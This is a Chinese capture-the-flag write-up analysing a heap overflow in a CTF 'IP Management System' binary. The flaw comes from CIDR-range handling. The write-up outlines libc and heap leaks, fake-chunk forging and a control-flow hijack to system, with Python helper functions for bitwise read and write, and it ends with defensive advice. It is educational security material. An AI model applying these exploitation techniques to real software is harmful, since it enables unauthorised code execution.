WP-0ops2024-pwn-<IP Management System>
字数 1354 2025-08-22 12:22:54
IP Management System Pwn 漏洞分析与利用
题目概述
这是一个来自0ops战队2024年国际比赛的堆利用题目,题目实现了一个IP地址管理系统,允许用户创建IP集合、添加/删除IP地址、查询IP状态以及删除IP集合。程序存在堆溢出漏洞,可以通过精心构造的IP地址操作实现任意地址读写。
主要功能分析
1. 创建IP集合
printf("Please input start ip:");
read(0, s, 0x1FuLL);
v1 = ret_ip_addr(s);
printf("Please input end ip:");
read(0, s, 0x1FuLL);
v2 = ret_ip_addr(s);
if (v1 > v2 || v2 - v1 + 1 > 0x10000) _exit(-1);
v3 = malloc(((v2 - v1) >> 3) + 1); // 最大size是0x2000
- 输入起始IP和结束IP
- 计算IP范围大小:
(end_ip - start_ip) / 8 + 1 - 最大允许分配大小为0x2000字节
- 每个IP用1个bit位表示,因此需要除以8
2. 添加/删除IP地址
unsigned __int64 __fastcall add_or_delet(int opt) {
// ... 变量声明省略 ...
if (!ptr) _exit(-1);
printf("Please input ip: ");
read(0, s, 0x2FuLL);
// 处理三种IP输入格式
if (strchr(s, '-')) { // "ip1-ip2"格式
v4 = 1;
v6 = strtok(s, "-");
nptr = strtok(0LL, "-");
}
else if (strchr(s, '/')) { // "ip/num"格式
v4 = 2;
v6 = strtok(s, "/");
nptr = strtok(0LL, "/");
}
else { // 单个"ip"格式
v4 = 3;
v6 = s;
}
v2 = ret_ip_addr(v6);
if (v2 < creat_ip_start || v2 > creat_ip_end) _exit(-1);
// 根据格式计算v3(结束IP)
if (v4 == 3) {
v3 = v2; // 格式为"ip"
}
else if (v4 == 1) {
v3 = ret_ip_addr(nptr); // 格式为"ip-ip"
}
else {
v5 = atoi(nptr); // 格式为"ip/num"
if (v5 <= 0 || v5 > 31) _exit(-1);
v2 &= ~((1 << (32 - v5)) - 1);
v3 = ((1 << (32 - v5)) - 1) | v2;
}
if (v3 > creat_ip_end) _exit(-1);
// 设置或清除bit位
for (i = v2; i <= v3; ++i) {
if (opt)
ptr[(i - creat_ip_start) / 8] |= 1 << ((i - creat_ip_start) & 7); // 设置bit
else
ptr[(i - creat_ip_start) / 8] &= ~(1 << ((i - creat_ip_start) & 7)); // 清除bit
}
puts("Edit IP Set Success!");
return v10 - __readfsqword(0x28u);
}
关键点:
-
三种IP输入格式:
"ip":单个IP地址"ip1-ip2":IP范围"ip/num":CIDR表示法,最有利用价值
-
"ip/num"格式的处理:
v5 = atoi(nptr); // num值 if (v5 <= 0 || v5 > 31) _exit(-1); v2 &= ~((1 << (32 - v5)) - 1); // 起始IP = ip & ~((1<<(32-num))-1) v3 = ((1 << (32 - v5)) - 1) | v2; // 结束IP = ip | ((1<<(32-num))-1)- 可以用于大范围修改bit位
- 当
ip_start末几位不为0时,可能导致v2 < ip_start,造成向上溢出
-
bit位操作:
- 通过
(i - creat_ip_start) / 8计算字节偏移 - 通过
(i - creat_ip_start) & 7计算bit位偏移 - 使用位运算设置或清除特定bit
- 通过
3. 查询IP状态
if (((ptr[(v1 - creat_ip_start) / 8] >> ((v1 - creat_ip_start) & 7)) & 1) != 0)
puts("IP is in the set");
else
puts("IP is not in the set");
- 可以用于读取任意bit位,实现信息泄露
4. 删除IP集合
if (!ptr) _exit(-1);
free(ptr);
ptr = 0LL;
creat_ip_start = 0;
creat_ip_end = 0;
return puts("Delete IP Set Success!");
- 简单的free操作,没有UAF漏洞
漏洞利用分析
1. 负数的处理
当v2 < ip_start时,(i - creat_ip_start)为负数,此时:
// 对于负数i:
(i - creat_ip_start) / 8 // 除法结果向零舍入
(i - creat_ip_start) & 7 // 等价于取模运算
测试代码显示负数bit位操作的行为:
-67 : -8 == 1 << 5
-66 : -8 == 1 << 6
-65 : -8 == 1 << 7
-64 : -8 == 1 << 0
-63 : -7 == 1 << 1
...
-8 : -1 == 1 << 0
-7 : 0 == 1 << 1
...
0 : 0 == 1 << 0
1 : 0 == 1 << 1
...
2. 利用思路
-
信息泄露:
- 使用查询功能读取堆或libc地址
- 通过设置特定bit位构造伪造的堆块结构
-
堆布局:
- 分配大chunk,修改size使其变小
- 在堆内伪造chunk结构
- 通过free操作使chunk进入unsorted bin或small bin
-
具体步骤:
- 修改size的PREV_INUSE位,实现向上合并
- 劫持tcache bin
- 修改
__free_hook或类似函数指针为system - 通过添加IP触发命令执行
3. 利用代码关键函数
def ret2_str_ip(ip):
# 将整数IP转换为字符串格式
ret = ''
for i in range(4):
ret += str(ip >> (8 * (3 - i)) & 255)
if i != 3: ret += '.'
return ret
def write_addr(ip, off, value):
# 在指定偏移处写入值(通过设置bit位)
n = 0
va = value
while va:
n += 1
va = va >> 1
for i in range(n):
bit = value & 1
if bit == 1:
add(ip + off * 8 + i)
value = value >> 1
def get_libc(ip, off):
# 通过查询功能读取内存值
libc = 0
for i in range(48):
libc += jude(ip + off * 8 + i) << i
return libc
完整利用流程
-
泄露libc地址:
- 创建大chunk并修改size
- 释放后重新分配,读取unsorted bin中的libc地址
-
泄露堆地址:
- 类似操作使chunk进入small bin
- 读取small bin中的堆地址
-
构造fake chunk:
- 使用write_addr函数伪造chunk结构
- 设置size和fd/bk指针绕过unlink检查
-
劫持控制流:
- 修改
strtok相关的函数指针为system - 通过添加IP触发命令执行
- 修改
防御建议
-
输入验证:
- 严格检查IP地址范围,防止负数计算
- 限制CIDR表示法中的num值范围
-
内存管理:
- 使用calloc代替malloc初始化内存
- 实现安全的size检查
-
安全机制:
- 启用ASLR和PIE
- 使用现代glibc版本的安全特性
总结
这道题目展示了如何通过精心构造的IP地址操作实现堆溢出和任意地址读写。关键点在于理解"ip/num"格式的处理方式以及负数情况下的bit位操作行为。利用过程涉及堆布局、信息泄露、伪造chunk结构等技术,是一个典型的堆利用案例。